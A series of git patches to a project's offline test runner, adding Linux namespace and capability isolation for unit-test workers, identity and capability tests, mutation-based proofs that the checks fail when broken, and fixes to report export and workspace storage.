b/scripts/unit-workers.ts @@ -1,5 +1,5 @@ /** Concurrent serial Bun processes, each owning its source/dependencies/build lease. */ -import { chmodSync, closeSync, constants, copyFileSync, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, readdirSync, realpathSync, readSync, rmSync, rmdirSync, statSync, existsSync, unlinkSync, writeFileSync } from "node:fs"; +import { chmodSync, closeSync, constants, copyFileSync, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, readdirSync, readlinkSync, realpathSync, readSync, rmSync, rmdirSync, statSync, existsSync, symlinkSync, unlinkSync, writeFileSync } from "node:fs"; import { createHash, randomUUID } from "node:crypto"; import { availableParallelism, tmpdir, totalmem } from "node:os"; import { basename, dirname, isAbsolute, join, relative, resolve } from "node:path"; @@ -30,6 +30,25 @@ function command(argv: string[]) { if (result.exitCode !== 0) throw new Error(`Unit tree setup failed: ${new TextDecoder().decode(result.stderr)}`); } +function workerMountNamespace(): string[] { + const status=readFileSync("/proc/self/status","utf8"); + const effective=BigInt("0x"+(/^CapEff:\s+([0-9a-f]+)$/m.exec(status)?.[1]??"0")); + return effective === (1n<<21n) ? ["unshare","--mount"] : ["unshare","--user","--map-current-user","--keep-caps","--mount"]; +} + +function installWorkerEntry(root: string) { + if (!existsSync("/run/brain-test/entry")) return; + mkdirSync(join(root,".test-tools"),{recursive:true}); + symlinkSync("/run/brain-test/entry",join(root,".test-tools/entry")); +} + +function removeWorkerEntry(root: string) { + const entry=join(root,".test-tools/entry"); + if (!existsSync("/run/brain-test/entry")) return; + if (readlinkSync(entry)!=="/run/brain-test/entry") throw Error("Unit entry identity changed"); + unlinkSync(entry);rmdirSync(dirname(entry)); +} + function dependencyDirectories(root: string): string[] { const directories = ["node_modules", ...readdirSync(join(root, "packages"), { withFileTypes: true }) .filter(entry => entry.isDirectory()).map(entry => `packages/${entry.name}/node_modules`)] @@ -244,6 +263,7 @@ async function runWorkers(root: string, files: readonly string[], chrome: string try { if (worker.copiedInputs) inputs!.remove(worker.root); if (worker.overlay?.mounted) { command(["umount", "--", worker.root]); worker.overlay.mounted = false; } + removeWorkerEntry(worker.root); git(root, "worktree", "remove", worker.root); if (worker.overlay) { removeOverlayScratch(worker.overlay.upper); removeOverlayScratch(worker.overlay.work); } } catch (error) { cleanupFailures.push(error); } @@ -288,6 +308,7 @@ async function runWorkers(root: string, files: readonly string[], chrome: string workers.push({ root: workspace, files: selected, checkout: git(workspace, "show", "-s", "--format=%H %T %P", "HEAD"), device: identity.dev, inode: identity.ino, checkoutMs: 0, dependencyCopyMs: 0 }); const worker = workers[index]!; + installWorkerEntry(workspace); if (preparedCaller) { if (!inputs || /[,:\\\n]/.test(root + workspace)) throw new Error("Unsupported prepared overlay path"); const gitfile = readFileSync(join(workspace, ".git")); @@ -324,7 +345,7 @@ async function runWorkers(root: string, files: readonly string[], chrome: string if (base) await Bun.write(join(worker.root, "tmp/unit-timings.json"), JSON.stringify(timingSeed(FILE_COST_SECONDS))); } await runCommands(workers.map((worker, index) => ({ name: `complete unit worker ${index + 1}/${workers.length}`, - argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--mount", "bash", join(root, "scripts/unit-worker-entry.sh"), + argv: [...workerMountNamespace(), "bash", join(root, "scripts/unit-worker-entry.sh"), join(worker.root, "tmp/maintenance-ledger"), process.execPath, ...(base ? [join(worker.root, "scripts/changed-unit-worker.ts"), base, `${index + 1}/${workers.length}`] : ["run", "--cwd", worker.root, "test", "--internal-full-preparation", ...worker.files.map(file => join(worker.root, file)), @@ -422,7 +443,7 @@ async function bootstrapPreparedTree(root: string, files: readonly string[], chr argv: ["cp", "--archive", "--reflink=auto", join(root, dir), join(template, dir)] })), root, 2); dependencyCopyMs = performance.now() - copying; helperStarted = true; - await runCommands([{ name: "prepared unit tree and private views", argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--mount", + await runCommands([{ name: "prepared unit tree and private views", argv: [...workerMountNamespace(), process.execPath, join(import.meta.dir, "unit-prepared-tree.ts"), template, root, reportDir, JSON.stringify(options), JSON.stringify(files), chrome ?? "", invocation] }], root, 1, 30_000); } catch (error) { primaryFailure = error; } finally { await finishPreparedTree(); } diff --git a/tests/offline-unit-identity.test.ts b/tests/offline-unit-identity.test.ts new file mode 100644 index 0000000000..4fc1498b12 --- /dev/null +++ b/tests/offline-unit-identity.test.ts @@ -0,0 +1,17 @@ +import {expect,test} from "bun:test"; +import {readFileSync} from "node:fs"; +import {requireOfflineRunner} from "../scripts/offline-runner/qualification"; + +test("offline workers preserve the runner's real identity and drop setup capabilities",()=>{ + const view=requireOfflineRunner(); + const issued=JSON.parse(readFileSync("/run/brain-test/record.json","utf8")); + expect(readFileSync("/proc/self/uid_map","utf8"),"WORKER_UID_MAP_IS_NOT_REPLACED").toBe(issued.uidMap); + expect(readFileSync("/proc/self/gid_map","utf8"),"WORKER_GID_MAP_IS_NOT_REPLACED").toBe(issued.gidMap); + expect(process.getuid!(),"WORKER_REAL_UID").toBe(view.identity.uid); + expect(process.getgid!(),"WORKER_REAL_GID").toBe(view.identity.gid); + expect(process.getgroups!(),"WORKER_SUPPLEMENTARY_GROUPS").toEqual(view.identity.groups); + const status=readFileSync("/proc/self/status","utf8"); + for(const field of ["CapEff","CapPrm","CapInh","CapAmb"]){ + expect(BigInt("0x"+new RegExp(`^${field}:\\s+([0-9a-f]+)$`,"m").exec(status)![1]),"WORKER_SETUP_CAPABILITIES_ARE_ZERO").toBe(0n); + } +}); From 17c77c30f3ebf8699fad28291d289a2fa88c590e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:22:54 +0000 Subject: [PATCH 153/187] test: prove unit setup teardown and namespace mutations --- scripts/offline-runner/proof.py | 44 +++++++++++++ scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 74 ++++++++++++++-------- scripts/unit-workers.ts | 2 +- tests/offline-unit-identity.test.ts | 7 +- 5 files changed, 98 insertions(+), 31 deletions(-) diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index 7eb9777035..418cddf0ae 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -349,6 +349,48 @@ def changed_mount_control(): if child.poll() is None:child.kill();child.communicate() + +def unit_queue_controls(): + import pwd + user=pwd.getpwuid(int(os.environ.get('SUDO_UID','1000'))) + groups=os.getgrouplist(user.pw_name,user.pw_gid) + controller=ROOT/'scripts/unit-workers.ts' + ledger=ROOT/'scripts/unit-worker-entry.sh' + originals={path:path.read_bytes() for path in (controller,ledger)} + def execute(name,assertion=None): + with tempfile.TemporaryDirectory(prefix='odysseus-unit-proof-') as directory: + os.chown(directory,user.pw_uid,user.pw_gid) + command=['/usr/bin/setpriv','--reuid='+str(user.pw_uid),'--regid='+str(user.pw_gid),'--groups='+','.join(map(str,groups)),str(ENTRY),'bun',str(controller),'--workers=1','--reports='+directory,'tests/offline-unit-identity.test.ts'] + result=subprocess.run(command,stdin=subprocess.DEVNULL,capture_output=True,text=True,timeout=600) + output=result.stdout+result.stderr + if assertion: + named(result.returncode!=0 and assertion in output,'UNIT_MUTATION_NAMED_FAILURE_'+name+': '+output[-2500:]) + else: + named(result.returncode==0 and 'OFFLINE_UNIT_LEDGER_BOUND' in output,'UNIT_QUEUE_IDENTITY_AND_LEDGER_'+name+': '+output[-2500:]) + report=json.loads((pathlib.Path(directory)/'unit-worker-summary.json').read_text()) + named(report['cleanupPassed'] is True,'UNIT_QUEUE_CLEANUP_AND_REPORT_EXPORT') + named((pathlib.Path(directory)/'unit-report.xml').is_file(),'UNIT_QUEUE_REAL_JUNIT_EXPORTED') + print(json.dumps({'proof':name,'result':'named failure' if assertion else 'pass','assertion':assertion,'uid':user.pw_uid,'groups':groups,'exitCode':result.returncode}),flush=True) + execute('UNIT_QUEUE_REAL_UID_LEDGER_LEASE') + try: + source=originals[controller].decode() + before='["unshare","--mount"]' + named(before in source,'UNIT_UID_MUTATION_SOURCE') + controller.write_text(source.replace(before,'["unshare","--user","--map-current-user","--keep-caps","--mount"]',1)) + execute('UNIT_QUEUE_REPLACED_UID_MAP','WORKER_UID_MAP_IS_NOT_REPLACED') + controller.write_bytes(originals[controller]) + execute('UNIT_QUEUE_RESTORED_UID_MAP') + source=originals[ledger].decode() + before='mount --bind "$unit_ledger" "$unit_budget"' + named(before in source,'UNIT_LEDGER_MUTATION_SOURCE') + ledger.write_text(source.replace(before,':',1)) + execute('UNIT_QUEUE_MISSING_LEDGER_BIND','WORKER_PRIVATE_LEDGER_IS_BOUND') + ledger.write_bytes(originals[ledger]) + execute('UNIT_QUEUE_RESTORED_LEDGER_BIND') + finally: + for path,data in originals.items():path.write_bytes(data) + + def failed_payload_cleanup_control(): result=subprocess.run([str(ENTRY),'/odysseus-deliberately-missing-executable'],capture_output=True,text=True) rows=[json.loads(line) for line in result.stderr.splitlines() if line.startswith('{')] @@ -391,6 +433,8 @@ def review_mutations(): named(not environment.exists(),'BOAT_CHECKOUT_HAS_NO_CREDENTIAL_ENV_FILE') environment.write_text('ODYSSEUS_CHECKOUT_SENTINEL=checkout-owned\n') try: + if __import__('sys').argv[1:]==['--unit-queue']: + unit_queue_controls();raise SystemExit(0) if __import__('sys').argv[1:]==['--mutations']: review_mutations();raise SystemExit(0) loader_and_denied_startup() diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index b3cebd68d8..f115a3a51e 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1651,7 +1651,7 @@ "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, "tests/offline-runner.test.ts":{"sha256":"823a995121f6515242c7a2fb4376b6210028c2a1dc252ad6a8aa8ee013b13920","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, - "tests/offline-unit-identity.test.ts":{"sha256":"da20ce8182c8e2a95e3f2431315a10c89bb0f6d620d2ba702a6e2e227ed3fd28","compatible":true}, + "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, "tests/owned-loop-evidence.test.ts":{"sha256":"b15f2ddabbb52d9b5c2d94bc21529cc32df79f5ce30d7d498a2e667a6aedd348","compatible":true}, "tests/owned-remove.test.ts":{"sha256":"7a911ef3850bdbba1b4a100dc2ce947aa1e8ee2db11fe450887452239572389f","compatible":false}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 22ccace443..3fc1af83c2 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -145,9 +145,10 @@ class Header(ctypes.Structure): class Data(ctypes.Structure): _fields_=[("effective",ctypes.c_uint),("permitted",ctypes.c_uint),("inheritable",ctypes.c_uint)] if os.getuid()==0: syscall(LIBC.prctl(28,3,0,0,0),'fixture root exec capabilities') - bit=1<<21 + bit=(1<<21)|(1<<8) syscall(LIBC.capset(ctypes.byref(Header(0x20080522,0)),(Data*2)(Data(bit,bit,bit),Data())),"fixture mount capability") syscall(LIBC.prctl(47,2,21,0,0),"fixture ambient mount capability") + syscall(LIBC.prctl(47,2,8,0,0),"fixture ambient capability drop") def drop_capabilities(): @@ -393,36 +394,30 @@ def export_unit_reports(prepared, caller): # The same absolute path was private in the runner view. source=prepared/destination.relative_to(ROOT) if destination.is_relative_to(ROOT) else prepared.parent/'reports' if not source.exists(): return - pid=os.fork() - if pid==0: - try: - if os.geteuid()==0: - os.setgroups(caller['groups']);os.setgid(caller['gid']);os.setuid(caller['uid']) - def copy(src,dst): - info=src.lstat() - if stat.S_ISLNK(info.st_mode) or not (stat.S_ISDIR(info.st_mode) or stat.S_ISREG(info.st_mode)): - raise OSError(errno.EPERM,'nonregular unit report') - if dst.is_symlink():raise OSError(errno.EPERM,'linked unit report destination') - if stat.S_ISDIR(info.st_mode): - dst.mkdir(mode=0o700,parents=True,exist_ok=True) - for child in src.iterdir():copy(child,dst/child.name) - else: - dst.parent.mkdir(mode=0o700,parents=True,exist_ok=True) - output=os.open(dst,os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOFOLLOW,0o600) - with os.fdopen(output,'wb') as stream,src.open('rb') as incoming:shutil.copyfileobj(incoming,stream) - for item in source.iterdir(): - if item.name.startswith('unit-'):copy(item,destination/item.name) - os._exit(0) - except BaseException as error: - print(json.dumps({'kind':'offline-unit-report-refusal','error':type(error).__name__,'errno':getattr(error,'errno',None)}),file=sys.stderr,flush=True) - os._exit(125) - _,status=os.waitpid(pid,0) - if status:raise OSError(errno.EIO,'unit report export') + if os.geteuid()==0: + os.setgroups(caller['groups']);os.setgid(caller['gid']);os.setuid(caller['uid']) + def copy(src,dst): + info=src.lstat() + if stat.S_ISLNK(info.st_mode) or not (stat.S_ISDIR(info.st_mode) or stat.S_ISREG(info.st_mode)): + raise OSError(errno.EPERM,'nonregular unit report') + if dst.is_symlink():raise OSError(errno.EPERM,'linked unit report destination') + if stat.S_ISDIR(info.st_mode): + dst.mkdir(mode=0o700,parents=True,exist_ok=True) + for child in src.iterdir():copy(child,dst/child.name) + else: + dst.parent.mkdir(mode=0o700,parents=True,exist_ok=True) + output=os.open(dst,os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOFOLLOW,0o600) + with os.fdopen(output,'wb') as stream,src.open('rb') as incoming:shutil.copyfileobj(incoming,stream) + for item in source.iterdir(): + if item.name.startswith('unit-'):copy(item,destination/item.name) + def run(caller, profile): global QUALIFIER_SOCKET service_pid = None + export_pid = None + export_control = None before = namespaces() if profile == 'rootless': if caller['uid'] == 0: @@ -475,10 +470,25 @@ def run(caller, profile): os._exit(125) service_control.close() listener.close() + if unit_controller(): + reader,export_control=os.pipe2(os.O_CLOEXEC) + export_pid=os.fork() + if export_pid==0: + os.close(export_control) + try: + if os.read(reader,1)!=b'1':os._exit(125) + os.close(reader) + export_unit_reports(prepared,caller) + os._exit(0) + except BaseException as error: + print(json.dumps({'kind':'offline-unit-report-refusal','error':type(error).__name__,'errno':getattr(error,'errno',None)}),file=sys.stderr,flush=True) + os._exit(125) + os.close(reader) syscall(LIBC.unshare(NEWPID), 'private PID namespace') setup_fd = os.pidfd_open(os.getpid()) child = os.fork() if child == 0: + if export_control is not None:os.close(export_control) controller.close() try: syscall(LIBC.unshare(NEWNS), 'final private mount namespace') @@ -522,9 +532,17 @@ def forward(sig, _frame): for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): signal.signal(sig, forward) _, status = os.waitpid(child, 0) - export_unit_reports(prepared,caller) + if export_control is not None: + os.write(export_control,b'1');os.close(export_control);export_control=None + _,export_status=os.waitpid(export_pid,0);export_pid=None + if export_status:raise OSError(errno.EIO,'unit report export') return os.waitstatus_to_exitcode(status) finally: + if export_control is not None:os.close(export_control) + if export_pid is not None: + try:os.kill(export_pid,signal.SIGTERM) + except ProcessLookupError:pass + os.waitpid(export_pid,0) if service_pid is not None: try:os.kill(service_pid,signal.SIGTERM) except ProcessLookupError:pass @@ -543,7 +561,7 @@ def forward(sig, _frame): if COMMAND[:1] == ['--fixture-control']: requested = COMMAND[1:] expected = ['/usr/bin/python3','-I','-S',str(TOOL_ROOT / 'scripts/offline-runner/proof.py')] - if requested not in (expected,expected+['--mutations']): refusal('unknown fixture control') + if requested not in (expected,expected+['--mutations'],expected+['--unit-queue']): refusal('unknown fixture control') OUTER, COMMAND = requested, ['/usr/bin/true'] else: outer_files = {'ci-proof.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} diff --git a/scripts/unit-workers.ts b/scripts/unit-workers.ts index 6c784e4b4f..324646a46c 100644 --- a/scripts/unit-workers.ts +++ b/scripts/unit-workers.ts @@ -33,7 +33,7 @@ function command(argv: string[]) { function workerMountNamespace(): string[] { const status=readFileSync("/proc/self/status","utf8"); const effective=BigInt("0x"+(/^CapEff:\s+([0-9a-f]+)$/m.exec(status)?.[1]??"0")); - return effective === (1n<<21n) ? ["unshare","--mount"] : ["unshare","--user","--map-current-user","--keep-caps","--mount"]; + return effective === ((1n<<21n)|(1n<<8n)) ? ["unshare","--mount"] : ["unshare","--user","--map-current-user","--keep-caps","--mount"]; } function installWorkerEntry(root: string) { diff --git a/tests/offline-unit-identity.test.ts b/tests/offline-unit-identity.test.ts index 4fc1498b12..1a9823ccb9 100644 --- a/tests/offline-unit-identity.test.ts +++ b/tests/offline-unit-identity.test.ts @@ -1,5 +1,5 @@ import {expect,test} from "bun:test"; -import {readFileSync} from "node:fs"; +import {existsSync,readFileSync,statSync} from "node:fs"; import {requireOfflineRunner} from "../scripts/offline-runner/qualification"; test("offline workers preserve the runner's real identity and drop setup capabilities",()=>{ @@ -10,6 +10,11 @@ test("offline workers preserve the runner's real identity and drop setup capabil expect(process.getuid!(),"WORKER_REAL_UID").toBe(view.identity.uid); expect(process.getgid!(),"WORKER_REAL_GID").toBe(view.identity.gid); expect(process.getgroups!(),"WORKER_SUPPLEMENTARY_GROUPS").toEqual(view.identity.groups); + if(existsSync("tmp/maintenance-ledger")){ + const source=statSync("tmp/maintenance-ledger"),bound=statSync(`/tmp/brain-maintenance-budget-${process.getuid!()}`); + expect([bound.dev,bound.ino],"WORKER_PRIVATE_LEDGER_IS_BOUND").toEqual([source.dev,source.ino]); + console.log("OFFLINE_UNIT_LEDGER_BOUND"); + } const status=readFileSync("/proc/self/status","utf8"); for(const field of ["CapEff","CapPrm","CapInh","CapAmb"]){ expect(BigInt("0x"+new RegExp(`^${field}:\\s+([0-9a-f]+)$`,"m").exec(status)![1]),"WORKER_SETUP_CAPABILITIES_ARE_ZERO").toBe(0n); From b1e1eadc7ededfa26c54e048cb5e726805d5b444 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:25:57 +0000 Subject: [PATCH 154/187] test: keep private unit inputs on reclaimable storage --- scripts/offline-runner/runner.py | 21 ++++++++++++++++----- scripts/unit-workers.ts | 4 ++-- 2 files changed, 18 insertions(+), 7 deletions(-) diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 3fc1af83c2..a4865738d0 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -273,8 +273,9 @@ def finish_view(backing, prepared, caller, profile, before): mount('proc', view / 'proc', 'proc', MS_NOSUID | MS_NODEV) target = view / str(ROOT).lstrip('/') target.parent.mkdir(parents=True, exist_ok=True) - os.chown(target.parent,caller['uid'],caller['gid']) - os.chmod(target.parent,0o700) + workspaces=pathlib.Path(backing)/'workspaces' + workspaces.mkdir(mode=0o700);os.chown(workspaces,caller['uid'],caller['gid']) + bind(workspaces,target.parent,readonly=False) bind(prepared, target, readonly=False) setup_source = pathlib.Path(__file__).resolve() setup_target = view / str(TOOL_ROOT / 'scripts/offline-runner/runner.py').lstrip('/') @@ -435,10 +436,19 @@ def run(caller, profile): flags=fcntl.ioctl(control.fileno(),0x8913,struct.pack('16sH',b'lo',0)) current=struct.unpack('16sH',flags[:18])[1] fcntl.ioctl(control.fileno(),0x8914,struct.pack('16sH',b'lo',current|1)) + protected_backing = None backing = tempfile.mkdtemp(prefix='odysseus-offline-') - # Input copies live on a private backing mount. No host pathname can add - # a socket to the writable tree after the initial copy. - mount('tmpfs', backing, 'tmpfs', MS_NOSUID, 'mode=0755,size=80%') + # D1 copies live on disk beneath a root-owned 0700 host directory. Only + # this private mount exposes its caller-owned contents. The host pathname + # at `backing` remains an empty root-owned directory, so it cannot acquire + # IPC in the admitted tree. Large dependency copies remain reclaimable. + if profile == 'root': + protected_backing=tempfile.mkdtemp(prefix='odysseus-owned-inputs-') + contents=pathlib.Path(protected_backing)/'contents' + contents.mkdir(mode=0o700);os.chown(contents,caller['uid'],caller['gid']) + mount(contents,backing,flags=MS_BIND|MS_REC) + else: + mount('tmpfs', backing, 'tmpfs', MS_NOSUID, 'mode=0755') try: prepared = pathlib.Path(backing) / 'source' os.chown(backing, caller['uid'], caller['gid']) @@ -555,6 +565,7 @@ def forward(sig, _frame): raise OSError(ctypes.get_errno(), 'owned view unmount') syscall(LIBC.umount2(os.fsencode(backing), 2), 'private backing unmount') shutil.rmtree(backing) + if protected_backing is not None:shutil.rmtree(protected_backing) OUTER = None diff --git a/scripts/unit-workers.ts b/scripts/unit-workers.ts index 324646a46c..695c8403bb 100644 --- a/scripts/unit-workers.ts +++ b/scripts/unit-workers.ts @@ -261,9 +261,9 @@ async function runWorkers(root: string, files: readonly string[], chrome: string try { preserveDiagnostics(worker, () => diagnosticDestination(index), references, objectFormat); } catch (error) { cleanupFailures.push(error); } try { + removeWorkerEntry(worker.root); if (worker.copiedInputs) inputs!.remove(worker.root); if (worker.overlay?.mounted) { command(["umount", "--", worker.root]); worker.overlay.mounted = false; } - removeWorkerEntry(worker.root); git(root, "worktree", "remove", worker.root); if (worker.overlay) { removeOverlayScratch(worker.overlay.upper); removeOverlayScratch(worker.overlay.work); } } catch (error) { cleanupFailures.push(error); } @@ -308,7 +308,6 @@ async function runWorkers(root: string, files: readonly string[], chrome: string workers.push({ root: workspace, files: selected, checkout: git(workspace, "show", "-s", "--format=%H %T %P", "HEAD"), device: identity.dev, inode: identity.ino, checkoutMs: 0, dependencyCopyMs: 0 }); const worker = workers[index]!; - installWorkerEntry(workspace); if (preparedCaller) { if (!inputs || /[,:\\\n]/.test(root + workspace)) throw new Error("Unsupported prepared overlay path"); const gitfile = readFileSync(join(workspace, ".git")); @@ -321,6 +320,7 @@ async function runWorkers(root: string, files: readonly string[], chrome: string writeFileSync(join(workspace, ".git"), gitfile); inputs.restoreIndex(workspace); } else if (inputs) { inputs.restore(workspace); worker.copiedInputs = true; } + installWorkerEntry(workspace); workers[index]!.checkoutMs = performance.now() - beforeCheckout; } checkoutMs = performance.now() - started; From 4d8b408485cba2b35749b4aa25af4fc3138d212f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:28:59 +0000 Subject: [PATCH 155/187] test: normalize unit artifact destinations before projection --- scripts/offline-runner/runner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index a4865738d0..2b59ecd87a 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -298,7 +298,7 @@ def finish_view(backing, prepared, caller, profile, before): for argument in COMMAND[2:]: if argument.startswith('--reports='): requested=pathlib.Path(argument.split('=',1)[1]) - destination=requested if requested.is_absolute() else ROOT/requested + destination=pathlib.Path(os.path.normpath(str(requested if requested.is_absolute() else ROOT/requested))) if not destination.is_relative_to(ROOT): report_source=pathlib.Path(backing)/'reports';report_source.mkdir(mode=0o700) os.chown(report_source,caller['uid'],caller['gid']) @@ -391,7 +391,7 @@ def export_unit_reports(prepared, caller): for argument in COMMAND[2:]: if argument.startswith('--reports='): requested=pathlib.Path(argument.split('=',1)[1]) - destination=requested if requested.is_absolute() else ROOT/requested + destination=pathlib.Path(os.path.normpath(str(requested if requested.is_absolute() else ROOT/requested))) # The same absolute path was private in the runner view. source=prepared/destination.relative_to(ROOT) if destination.is_relative_to(ROOT) else prepared.parent/'reports' if not source.exists(): return From a7197a16374bacd1d03026d710ab2ce7f11f8d6d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:39:54 +0000 Subject: [PATCH 156/187] test: pin namespace evidence across recycled kernel inode numbers --- scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/view_service.py | 41 ++++++++++++++++++---- tests/offline-runner.test.ts | 6 ++-- 3 files changed, 40 insertions(+), 9 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index f115a3a51e..4eca593cc9 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"823a995121f6515242c7a2fb4376b6210028c2a1dc252ad6a8aa8ee013b13920","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"f529c830e30a0f9fa235e2b6ce981a345d2e1bcd66dde2a5b39d41d2cffe359c","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/scripts/offline-runner/view_service.py b/scripts/offline-runner/view_service.py index 264dafc16c..44ae635e05 100644 --- a/scripts/offline-runner/view_service.py +++ b/scripts/offline-runner/view_service.py @@ -1,6 +1,8 @@ """Launcher-owned, metadata-only qualification of owned descendant views.""" import ctypes import hashlib +import errno +import fcntl import json import os import pathlib @@ -28,13 +30,36 @@ def serve(listener,control,before,caller,profile): if set(scope)!={'pid','start'} or start(scope['pid'])!=scope['start']:os._exit(125) owner=os.pidfd_open(scope['pid']) polling=select.poll();polling.register(owner,select.POLLIN);polling.register(listener,select.POLLIN) - admitted={};baseline=None;host_devices={row[0] for row in mounts(os.getpid())[1]} + admitted={};baseline=None;held={};host_devices={row[0] for row in mounts(os.getpid())[1]} + def mount_key(pid,current,temporary): + # Hold both live namespace handles throughout qualification. On kernels + # with NS_GET_MNTNS_ID, the monotonic mount generation also distinguishes + # recycled nsfs inode numbers without retaining dead mount trees. + descriptors={} + try: + for kind in ('mnt','net'): + fd=os.open('/proc/%d/ns/%s'%(pid,kind),os.O_RDONLY|os.O_CLOEXEC) + descriptors[kind]=fd + if os.readlink('/proc/self/fd/%d'%fd)!=current[kind]:raise ValueError('namespace changed while pinning') + generation=bytearray(8) + try: + # _IOR(0xb7, 5, __u64), linux/uapi/linux/nsfs.h. + fcntl.ioctl(descriptors['mnt'],0x8008b705,generation,True) + return current['mnt']+':'+str(struct.unpack('Q',generation)[0]) + except OSError as error: + if error.errno not in (errno.ENOTTY,errno.EINVAL,errno.ENOSYS):raise + # Older kernels retain the actual mount handle until this run + # ends. Never discard an identity based on a racy /proc scan. + if current['mnt'] not in held:held[current['mnt']]=descriptors.pop('mnt') + return current['mnt'] + finally: + temporary.extend(descriptors.values()) try: while True: events=polling.poll() if any(fd==owner for fd,_ in events):break if not any(fd==listener.fileno() for fd,_ in events):continue - channel,_=listener.accept();channel.settimeout(5) + channel,_=listener.accept();channel.settimeout(5);temporary=[] try: if channel.recv(32)!=b'qualify':raise ValueError('request schema') pid,uid,_gid=struct.unpack('3i',channel.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12)) @@ -50,7 +75,8 @@ def serve(listener,control,before,caller,profile): digest=hashlib.sha256(data).hexdigest() if evidence['mountHash']!=digest or evidence['ownerStart']!=scope['start']:raise ValueError('original admitted mounts changed') baseline=rows - key=os.readlink('/proc/%d/ns/mnt'%scope['pid']) + scope_namespaces={kind:os.readlink('/proc/%d/ns/%s'%(scope['pid'],kind)) for kind in ('mnt','net')} + key=mount_key(scope['pid'],scope_namespaces,temporary) admitted[key]=digest fields=dict(line.split(':',1) for line in pathlib.Path('/proc/%d/status'%pid).read_text().splitlines() if ':' in line) for key in ('CapEff','CapPrm','CapInh','CapAmb'): @@ -73,14 +99,14 @@ def translated(value,kind): lines=pathlib.Path('/proc/%d/net/%s'%(pid,name)).read_text().splitlines() for line in lines[1:] if name=='route' else lines: if line.split() and (line.split()[0] if name=='route' else line.split()[-1])!='lo':raise ValueError('non-loopback route') - data,view=mounts(pid);digest=hashlib.sha256(data).hexdigest();key=namespaces['mnt'] + data,view=mounts(pid);digest=hashlib.sha256(data).hexdigest();key=mount_key(pid,namespaces,temporary) if key in admitted and admitted[key]!=digest:raise ValueError('admitted mounts changed in place') if key not in admitted: for device,root,flags,kind in view: if device not in host_devices:continue if not any(device==olddev and (root==oldroot or root.startswith(oldroot.rstrip('/')+'/')) and ('ro' not in oldflags or 'ro' in flags) for olddev,oldroot,oldflags,_ in baseline): raise ValueError('mount source outside admitted inputs') - if start(pid)!=stamp or start(scope['pid'])!=scope['start']:raise ValueError('namespace lifetime expired') + if start(pid)!=stamp or start(scope['pid'])!=scope['start'] or any(os.readlink('/proc/%d/ns/%s'%(pid,key))!=value for key,value in namespaces.items()):raise ValueError('namespace lifetime expired') admitted[key]=digest reply={'version':1,'namespaces':namespaces,'mountHash':digest,'identity':identity} payload=json.dumps(reply).encode() @@ -90,7 +116,10 @@ def translated(value,kind): print(json.dumps({'kind':'offline-view-refusal','reason':'offline native isolation unavailable: setup failed','operation':str(error) if type(error) is ValueError else type(error).__name__,'errno':getattr(error,'errno',None)}),file=__import__('sys').stderr,flush=True) 